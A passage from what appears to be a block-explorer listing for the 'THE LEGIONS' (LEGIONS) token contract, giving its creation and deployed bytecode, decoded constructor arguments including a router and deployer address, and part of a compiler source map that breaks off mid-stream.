83611812565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611795576117946118c4565b5b828202905092915050565b60006117ab82611812565b91506117b683611812565b9250828210156117c9576117c86118c4565b5b828203905092915050565b60006117df826117f2565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006118348261183b565b9050919050565b60006118468261184d565b9050919050565b6000611858826117f2565b9050919050565b60005b8381101561187d578082015181840152602081019050611862565b8381111561188c576000848401525b50505050565b600060028204905060018216806118aa57607f821691505b602082108114156118be576118bd611922565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600080fd5b6000601f19601f8301169050919050565b60008160011c9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b611ac2816117d4565b8114611acd57600080fd5b50565b611ad981611812565b8114611ae457600080fd5b5056fea2646970667358221220c7462299ac19e6d808114d4064876d3dc5451528b9bc0ec469322e9d10cb043664736f6c63430008070033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c00000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d0000000000000000000000000b2db2a43611a9637e822183f6763bed55148c75000000000000000000000000000000000000000000000000000000000000000b544845204c4547494f4e5300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000074c4547494f4e5300000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106101005760003560e01c80638da5cb5b11610097578063c5b37c2211610066578063c5b37c221461029f578063dd62ed3e146102bd578063f2fde38b146102ed578063f887ea401461030957610100565b80638da5cb5b1461021757806395d89b411461023557806397bfcda314610253578063a9059cbb1461026f57610100565b8063313ce567116100d3578063313ce567146101a157806349bd5a5e146101bf57806370a08231146101dd578063715018a61461020d57610100565b806306fdde0314610105578063095ea7b31461012357806318160ddd1461015357806323b872dd14610171575b600080fd5b61010d610327565b60405161011a919061143e565b60405180910390f35b61013d6004803603810190610138919061127f565b6103b9565b60405161014a9190611408565b60405180910390f35b61015b6103ce565b60405161016891906114e0565b60405180910390f35b61018b6004803603810190610186919061122c565b6103d8565b6040516101989190611408565b60405180910390f35b6101a9610527565b6040516101b691906114e0565b60405180910390f35b6101c7610541565b6040516101d491906113ed565b60405180910390f35b6101f760048036038101906101f291906111bf565b610567565b60405161020491906114e0565b60405180910390f35b6102156105b0565b005b61021f610638565b60405161022c91906113ed565b60405180910390f35b61023d610661565b60405161024a919061143e565b60405180910390f35b61026d600480360381019061026891906112bf565b6106f3565b005b6102896004803603810190610284919061127f565b6107dd565b6040516102969190611408565b60405180910390f35b6102a7610859565b6040516102b491906114e0565b60405180910390f35b6102d760048036038101906102d291906111ec565b61085f565b6040516102e491906114e0565b60405180910390f35b610307600480360381019061030291906111bf565b6108e6565b005b6103116109de565b60405161031e9190611423565b60405180910390f35b60606002805461033690611892565b80601f016020809104026020016040519081016040528092919081815260200182805461036290611892565b80156103af5780601f10610384576101008083540402835291602001916103af565b820191906000526020600020905b81548152906001019060200180831161039257829003601f168201915b5050505050905090565b60006103c6338484610a04565b905092915050565b6000600754905090565b600080821161041c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610413906114a0565b60405180910390fd5b610427848484610b9f565b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161048491906114e0565b60405180910390a361051e843384600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461051991906117a0565b610a04565b90509392505050565b6000600460009054906101000a900460ff1660ff16905090565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6105b86110c9565b73ffffffffffffffffffffffffffffffffffffffff166105d6610638565b73ffffffffffffffffffffffffffffffffffffffff161461062c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161062390611480565b60405180910390fd5b61063660006110d1565b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606003805461067090611892565b80601f016020809104026020016040519081016040528092919081815260200182805461069c90611892565b80156106e95780601f106106be576101008083540402835291602001916106e9565b820191906000526020600020905b8154815290600101906020018083116106cc57829003601f168201915b5050505050905090565b6106fb6110c9565b73ffffffffffffffffffffffffffffffffffffffff16610719610638565b73ffffffffffffffffffffffffffffffffffffffff161461076f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161076690611480565b60405180910390fd5b600047905061077c610638565b73ffffffffffffffffffffffffffffffffffffffff166108fc606484846107a39190611746565b6107ad91906115a4565b9081150290604051600060405180830381858888f193505050501580156107d8573d6000803e3d6000fd5b505050565b60006107ea338484610b9f565b8273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161084791906114e0565b60405180910390a36001905092915050565b60015481565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6108ee6110c9565b73ffffffffffffffffffffffffffffffffffffffff1661090c610638565b73ffffffffffffffffffffffffffffffffffffffff1614610962576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161095990611480565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156109d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109c990611460565b60405180910390fd5b6109db816110d1565b50565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015610a6f5750600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b610aae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aa5906114c0565b60405180910390fd5b81600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92584604051610b8c91906114e0565b60405180910390a3600190509392505050565b6000600c600181548110610bb657610bb5611951565b5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905060008473ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16149050600060015490506000600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054148015610ccd57506000600d60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b8015610cd7575081155b15610dd15780600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d2b91906117a0565b92505081905550600460009054906101000a900460ff16600d610d4e919061156d565b600a610d5a9190611628565b6002610d669190611746565b841115610dd057600181610d7a91906117a0565b600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610dc891906117a0565b925050819055505b5b84600c600181548110610de757610de6611951565b5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600e60008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118015610e7e5750600084145b15610eda5780600e60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ed29190611517565b925050819055505b600181610ee79190611517565b600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610f359190611517565b925050819055506000600154606486610f4e91906115a4565b610f589190611746565b90508085610f6691906117a0565b945080600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610fb791906117a0565b9250508190555080600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461100d9190611517565b9250508190555084600660008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461106391906117a0565b9250508190555084600660008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546110b99190611517565b9250508190555050505050505050565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b6000813590506111a481611ab9565b92915050565b6000813590506111b981611ad0565b92915050565b6000602082840312156111d5576111d4611980565b5b60006111e384828501611195565b91505092915050565b6000806040838503121561120357611202611980565b5b600061121185828601611195565b925050602061122285828601611195565b9150509250929050565b60008060006060848603121561124557611244611980565b5b600061125386828701611195565b935050602061126486828701611195565b9250506040611275868287016111aa565b9150509250925092565b6000806040838503121561129657611295611980565b5b60006112a485828601611195565b92505060206112b5858286016111aa565b9150509250929050565b6000602082840312156112d5576112d4611980565b5b60006112e3848285016111aa565b91505092915050565b6112f5816117d4565b82525050565b611304816117e6565b82525050565b61131381611829565b82525050565b6000611324826114fb565b61132e8185611506565b935061133e81856020860161185f565b61134781611985565b840191505092915050565b600061135f602683611506565b915061136a826119a3565b604082019050919050565b6000611382602083611506565b915061138d826119f2565b602082019050919050565b60006113a5602983611506565b91506113b082611a1b565b604082019050919050565b60006113c8602483611506565b91506113d382611a6a565b604082019050919050565b6113e781611812565b82525050565b600060208201905061140260008301846112ec565b92915050565b600060208201905061141d60008301846112fb565b92915050565b6000602082019050611438600083018461130a565b92915050565b600060208201905081810360008301526114588184611319565b905092915050565b6000602082019050818103600083015261147981611352565b9050919050565b6000602082019050818103600083015261149981611375565b9050919050565b600060208201905081810360008301526114b981611398565b9050919050565b600060208201905081810360008301526114d9816113bb565b9050919050565b60006020820190506114f560008301846113de565b92915050565b600081519050919050565b600082825260208201905092915050565b600061152282611812565b915061152d83611812565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611562576115616118c4565b5b828201905092915050565b60006115788261181c565b91506115838361181c565b92508260ff03821115611599576115986118c4565b5b828201905092915050565b60006115af82611812565b91506115ba83611812565b9250826115ca576115c96118f3565b5b828204905092915050565b6000808291508390505b600185111561161f578086048111156115fb576115fa6118c4565b5b600185161561160a5780820291505b808102905061161885611996565b94506115df565b94509492505050565b600061163382611812565b915061163e8361181c565b925061166b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484611673565b905092915050565b600082611683576001905061173f565b81611691576000905061173f565b81600181146116a757600281146116b1576116e0565b600191505061173f565b60ff8411156116c3576116c26118c4565b5b8360020a9150848211156116da576116d96118c4565b5b5061173f565b5060208310610133831016604e8410600b84101617156117155782820a9050838111156117105761170f6118c4565b5b61173f565b61172284848460016115d5565b92509050818404811115611739576117386118c4565b5b81810290505b9392505050565b600061175182611812565b915061175c83611812565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611795576117946118c4565b5b828202905092915050565b60006117ab82611812565b91506117b683611812565b9250828210156117c9576117c86118c4565b5b828203905092915050565b60006117df826117f2565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006118348261183b565b9050919050565b60006118468261184d565b9050919050565b6000611858826117f2565b9050919050565b60005b8381101561187d578082015181840152602081019050611862565b8381111561188c576000848401525b50505050565b600060028204905060018216806118aa57607f821691505b602082108114156118be576118bd611922565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600080fd5b6000601f19601f8301169050919050565b60008160011c9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b611ac2816117d4565b8114611acd57600080fd5b50565b611ad981611812565b8114611ae457600080fd5b5056fea2646970667358221220c7462299ac19e6d808114d4064876d3dc5451528b9bc0ec469322e9d10cb043664736f6c63430008070033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c00000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d0000000000000000000000000b2db2a43611a9637e822183f6763bed55148c75000000000000000000000000000000000000000000000000000000000000000b544845204c4547494f4e5300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000074c4547494f4e5300000000000000000000000000000000000000000000000000

-----Decoded View---------------
Arg [0] : _NAME (string): THE LEGIONS
Arg [1] : _SYMBOL (string): LEGIONS
Arg [2] : routerAddress (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
Arg [3] : _deployer (address): 0x0b2db2a43611A9637E822183F6763bED55148C75

-----Encoded View---------------
8 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000080
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000c0
Arg [2] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d
Arg [3] : 0000000000000000000000000b2db2a43611a9637e822183f6763bed55148c75
Arg [4] : 000000000000000000000000000000000000000000000000000000000000000b
Arg [5] : 544845204c4547494f4e53000000000000000000000000000000000000000000
Arg [6] : 0000000000000000000000000000000000000000000000000000000000000007
Arg [7] : 4c4547494f4e5300000000000000000000000000000000000000000000000000


Deployed Bytecode Sourcemap

8651:4295:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9481:83;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11561:137;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10229:86;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11762:398;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9972:85;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9855:28;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10369:110;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2509:94;;;:::i;:::-;;1858:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9700;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12747:196;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;12168:211;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9367:19;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;10487:134;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2758:192;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;9890:32;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9481:83;9518:13;9551:5;9544:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9481:83;:::o;11561:137::-;11629:4;11653:37;11662:10;11674:7;11683:6;11653:8;:37::i;:::-;11646:44;;11561:137;;;;:::o;10229:86::-;10273:7;10300;;10293:14;;10229:86;:::o;11762:398::-;11887:4;11921:1;11912:6;:10;11904:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;11979:34;11987:6;11995:9;12006:6;11979:7;:34::i;:::-;12046:9;12029:35;;12038:6;12029:35;;;12057:6;12029:35;;;;;;:::i;:::-;;;;;;;;12082:70;12091:6;12099:10;12145:6;12111:11;:19;12123:6;12111:19;;;;;;;;;;;;;;;:31;12131:10;12111:31;;;;;;;;;;;;;;;;:40;;;;:::i;:::-;12082:8;:70::i;:::-;12075:77;;11762:398;;;;;:::o;9972:85::-;10013:7;10040:9;;;;;;;;;;;10033:16;;;;9972:85;:::o;9855:28::-;;;;;;;;;;;;;:::o;10369:110::-;10426:7;10453:9;:18;10463:7;10453:18;;;;;;;;;;;;;;;;10446:25;;10369:110;;;:::o;2509:94::-;2089:12;:10;:12::i;:::-;2078:23;;:7;:5;:7::i;:::-;:23;;;2070:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;2574:21:::1;2592:1;2574:9;:21::i;:::-;2509:94::o:0;1858:87::-;1904:7;1931:6;;;;;;;;;;;1924:13;;1858:87;:::o;9700:::-;9739:13;9772:7;9765:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9700:87;:::o;12747:196::-;2089:12;:10;:12::i;:::-;2078:23;;:7;:5;:7::i;:::-;:23;;;2070:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;12822:17:::1;12842:21;12822:41;;12882:7;:5;:7::i;:::-;12874:25;;:61;12931:3;12912:16;12900:9;:28;;;;:::i;:::-;:34;;;;:::i;:::-;12874:61;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;12811:132;12747:196:::0;:::o;12168:211::-;12239:4;12256:38;12264:10;12276:9;12287:6;12256:7;:38::i;:::-;12331:9;12310:39;;12319:10;12310:39;;;12342:6;12310:39;;;;;;:::i;:::-;;;;;;;;12367:4;12360:11;;12168:211;;;;:::o;9367:19::-;;;;:::o;10487:134::-;10559:7;10586:11;:18;10598:5;10586:18;;;;;;;;;;;;;;;:27;10605:7;10586:27;;;;;;;;;;;;;;;;10579:34;;10487:134;;;;:::o;2758:192::-;2089:12;:10;:12::i;:::-;2078:23;;:7;:5;:7::i;:::-;:23;;;2070:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;2867:1:::1;2847:22;;:8;:22;;;;2839:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;2923:19;2933:8;2923:9;:19::i;:::-;2758:192:::0;:::o;9890:32::-;;;;;;;;;;;;;:::o;12387:352::-;12504:4;12546:1;12529:19;;:5;:19;;;;:44;;;;;12571:1;12552:21;;:7;:21;;;;12529:44;12521:93;;;;;;;;;;;;:::i;:::-;;;;;;;;;12655:6;12625:11;:18;12637:5;12625:18;;;;;;;;;;;;;;;:27;12644:7;12625:27;;;;;;;;;;;;;;;:36;;;;12693:7;12677:32;;12686:5;12677:32;;;12702:6;12677:32;;;;;;:::i;:::-;;;;;;;;12727:4;12720:11;;12387:352;;;;;:::o;10629:873::-;10750:12;10765:8;10774:1;10765:11;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;10750:26;;10787:11;10818:7;10801:24;;:13;;;;;;;;;;;:24;;;10787:38;;10836:13;10852:4;;10836:20;;10897:1;10873:11;:20;10885:7;10873:20;;;;;;;;;;;;;;;;:25;:48;;;;;10920:1;10902:6;:15;10909:7;10902:15;;;;;;;;;;;;;;;;:19;10873:48;:59;;;;;10926:6;10925:7;10873:59;10869:208;;;10973:5;10949:11;:20;10961:7;10949:20;;;;;;;;;;;;;;;;:29;;;;;;;:::i;:::-;;;;;;;;11020:9;;;;;;;;;;;11015:2;:14;;;;:::i;:::-;11010:2;:20;;;;:::i;:::-;11006:1;:24;;;;:::i;:::-;10997:6;:33;10993:72;;;11064:1;11056:5;:9;;;;:::i;:::-;11032:11;:20;11044:7;11032:20;;;;;;;;;;;;;;;;:33;;;;;;;:::i;:::-;;;;;;;;10993:72;10869:208;11103:8;11089;11098:1;11089:11;;;;;;;;:::i;:::-;;;;;;;;;;:22;;;;;;;;;;;;;;;;;;11151:1;11128:11;:20;11140:7;11128:20;;;;;;;;;;;;;;;;:24;:39;;;;;11166:1;11156:6;:11;11128:39;11124:102;;;11209:5;11184:11;:21;11196:8;11184:21;;;;;;;;;;;;;;;;:30;;;;;;;:::i;:::-;;;;;;;;11124:102;11262:1;11254:5;:9;;;;:::i;:::-;11238:6;:12;11245:4;11238:12;;;;;;;;;;;;;;;;:25;;;;;;;:::i;:::-;;;;;;;;11276:11;11307:4;;11300:3;11291:6;:12;;;;:::i;:::-;11290:21;;;;:::i;:::-;11276:35;;11332:3;11322:13;;;;;:::i;:::-;;;11368:3;11346:9;:18;11356:7;11346:18;;;;;;;;;;;;;;;;:25;;;;;;;:::i;:::-;;;;;;;;11410:3;11382:9;:24;11400:4;11382:24;;;;;;;;;;;;;;;;:31;;;;;;;:::i;:::-;;;;;;;;11448:6;11426:9;:18;11436:7;11426:18;;;;;;;;;;;;;;;;:28;;;;;;;:::i;:::-;;;;;;;;11488:6;11465:9;:19;11475:8;11465:19;;;;;;;;;;;;;;;;:29;;;;;;;:::i;:::-;;;;;;;;10739:763;;;;10629:873;;;:::o;677:98::-;730:7;757:10;750:17;;677:98;:::o;2958:173::-;3014:16;3033:6;;;;;;;;;;;3014:25;;3059:8;3050:6;;:17;;;;;;;;;;;;;;;;;;3114:8;3083:40;;3104:8;3083:40;;;;;;;;;;;;3003:128;2958:173;:::o;7:139:1:-;53:5;91:6;78:20;69:29;;107:33;134:5;107:33;:::i;:::-;7:139;;;;:::o;152:::-;198:5;236:6;223:20;214:29;;252:33;279:5;252:33;:::i;:::-;152:139;;;;:::o;297:329::-;356:6;405:2;393:9;384:7;380:23;376:32;373:119;;;411:79;;:::i;:::-;373:119;531:1;556:53;601:7;592:6;581:9;577:22;556:53;:::i;:::-;546:63;;502:117;297:329;;;;:::o;632:474::-;700:6;708;757:2;745:9;736:7;732:23;728:32;725:119;;;763:79;;:::i;:::-;725:119;883:1;908:53;953:7;944:6;933:9;929:22;908:53;:::i;:::-;898:63;;854:117;1010:2;1036:53;1081:7;1072:6;1061:9;1057:22;1036:53;:::i;:::-;1026:63;;981:118;632:474;;;;;:::o;1112:619::-;1189:6;1197;1205;1254:2;1242:9;1233:7;1229:23;1225:32;1222:119;;;1260:79;;:::i;:::-;1222:119;1380:1;1405:53;1450:7;1441:6;1430:9;1426:22;1405:53;:::i;:::-;1395:63;;1351:117;1507:2;1533:53;1578:7;1569:6;1558:9;1554:22;1533:53;:::i;:::-;1523:63;;1478:118;1635:2;1661:53;1706:7;1697:6;1686:9;1682:22;1661:53;:::i;:::-;1651:63;;1606:118;1112:619;;;;;:::o;1737:474::-;1805:6;1813;1862:2;1850:9;1841:7;1837:23;1833:32;1830:119;;;1868:79;;:::i;:::-;1830:119;1988:1;2013:53;2058:7;2049:6;2038:9;2034:22;2013:53;:::i;:::-;2003:63;;1959:117;2115:2;2141:53;2186:7;2177:6;2166:9;2162:22;2141:53;:::i;:::-;2131:63;;2086:118;1737:474;;;;;:::o;2217:329::-;2276:6;2325:2;2313:9;2304:7;2300:23;2296:32;2293:119;;;2331:79;;:::i;:::-;2293:119;2451:1;2476:53;2521:7;2512:6;2501:9;2497:22;2476:53;:::i;:::-;2466:63;;2422:117;2217:329;;;;:::o;2552:118::-;2639:24;2657:5;2639:24;:::i;:::-;2634:3;2627:37;2552:118;;:::o;2676:109::-;2757:21;2772:5;2757:21;:::i;:::-;2752:3;2745:34;2676:109;;:::o;2791:183::-;2904:63;2961:5;2904:63;:::i;:::-;2899:3;2892:76;2791:183;;:::o;2980:364::-;3068:3;3096:39;3129:5;3096:39;:::i;:::-;3151:71;3215:6;3210:3;3151:71;:::i;:::-;3144:78;;3231:52;3276:6;3271:3;3264:4;3257:5;3253:16;3231:52;:::i;:::-;3308:29;3330:6;3308:29;:::i;:::-;3303:3;3299:39;3292:46;;3072:272;2980:364;;;;:::o;3350:366::-;3492:3;3513:67;3577:2;3572:3;3513:67;:::i;:::-;3506:74;;3589:93;3678:3;3589:93;:::i;:::-;3707:2;3702:3;3698:12;3691:19;;3350:366;;;:::o;3722:::-;3864:3;3885:67;3949:2;3944:3;3885:67;:::i;:::-;3878:74;;3961:93;4050:3;3961:93;:::i;:::-;4079:2;4074:3;4070:12;4063:19;;3722:366;;;:::o;4094:::-;4236:3;4257:67;4321:2;4316:3;4257:67;:::i;:::-;4250:74;;4333:93;4422:3;4333:93;:::i;:::-;4451:2;4446:3;4442:12;4435:19;;4094:366;;;:::o;4466:::-;4608:3;4629:67;4693:2;4688:3;4629:67;:::i;:::-;4622:74;;4705:93;4794:3;4705:93;:::i;:::-;4823:2;4818:3;4814:12;4807:19;;4466:366;;;:::o;4838:118::-;4925:24;4943:5;4925:24;:::i;:::-;4920:3;4913:37;4838:118;;:::o;4962:222::-;5055:4;5093:2;5082:9;5078:18;5070:26;;5106:71;5174:1;5163:9;5159:17;5150:6;5106:71;:::i;:::-;4962:222;;;;:::o;5190:210::-;5277:4;5315:2;5304:9;5300:18;5292:26;;5328:65;5390:1;5379:9;5375:17;5366:6;5328:65;:::i;:::-;5190:210;;;;:::o;5406:274::-;5525:4;5563:2;5552:9;5548:18;5540:26;;5576:97;5670:1;5659:9;5655:17;5646:6;5576:97;:::i;:::-;5406:274;;;;:::o;5686:313::-;5799:4;5837:2;5826:9;5822:18;5814:26;;5886:9;5880:4;5876:20;5872:1;5861:9;5857:17;5850:47;5914:78;5987:4;5978:6;5914:78;:::i;:::-;5906:86;;5686:313;;;;:::o;6005:419::-;6171:4;6209:2;6198:9;6194:18;6186:26;;6258:9;6252:4;6248:20;6244:1;6233:9;6229:17;6222:47;6286:131;6412:4;6286:131;:::i;:::-;6278:139;;6005:419;;;:::o;6430:::-;6596:4;6634:2;6623:9;6619:18;6611:26;;6683:9;6677:4;6673:20;6669:1;6658:9;6654:17;6647:47;6711:131;6837:4;6711:131;:::i;:::-;6703:139;;6430:419;;;:::o;6855:::-;7021:4;7059:2;7048:9;7044:18;7036:26;;7108:9;7102:4;7098:20;7094:1;7083:9;7079:17;7072:47;7136:131;7262:4;7136:131;:::i;:::-;7128:139;;6855:419;;;:::o;7280:::-;7446:4;7484:2;7473:9;7469:18;7461:26;;7533:9;7527:4;7523:20;7519:1;7508:9;7504:17;7497:47;7561:131;7687:4;7561:131;:::i;:::-;7553:139;;7280:419;;;:::o;7705:222::-;7798:4;7836:2;7825:9;7821:18;7813:26;;7849:71;7917:1;7906:9;7902:17;7893:6;7849:71;:::i;:::-;7705:222;;;;:::o;8014:99::-;8066:6;8100:5;8094:12;8084:22;;8014:99;;;:::o;8119:169::-;8203:11;8237:6;8232:3;8225:19;8277:4;8272:3;8268:14;8253:29;;8119:169;;;;:::o;8294:305::-;8334:3;8353:20;8371:1;8353:20;:::i;:::-;8348:25;;8387:20;8405:1;8387:20;:::i;:::-;8382:25;;8541:1;8473:66;8469:74;8466:1;8463:81;8460:107;;;8547:18;;:::i;:::-;8460:107;8591:1;8588;8584:9;8577:16;;8294:305;;;;:::o;8605:237::-;8643:3;8662:18;8678:1;8662:18;:::i;:::-;8657:23;;8694:18;8710:1;8694:18;:::i;:::-;8689:23;;8784:1;8778:4;8774:12;8771:1;8768:19;8765:45;;;8790:18;;:::i;:::-;8765:45;8834:1;8831;8827:9;8820:16;;8605:237;;;;:::o;8848:185::-;8888:1;8905:20;8923:1;8905:20;:::i;:::-;8900:25;;8939:20;8957:1;8939:20;:::i;:::-;8934:25;;8978:1;8968:35;;8983:18;;:::i;:::-;8968:35;9025:1;9022;9018:9;9013:14;;8848:185;;;;:::o;9039:848::-;9100:5;9107:4;9131:6;9122:15;;9155:5;9146:14;;9169:712;9190:1;9180:8;9177:15;9169:712;;;9285:4;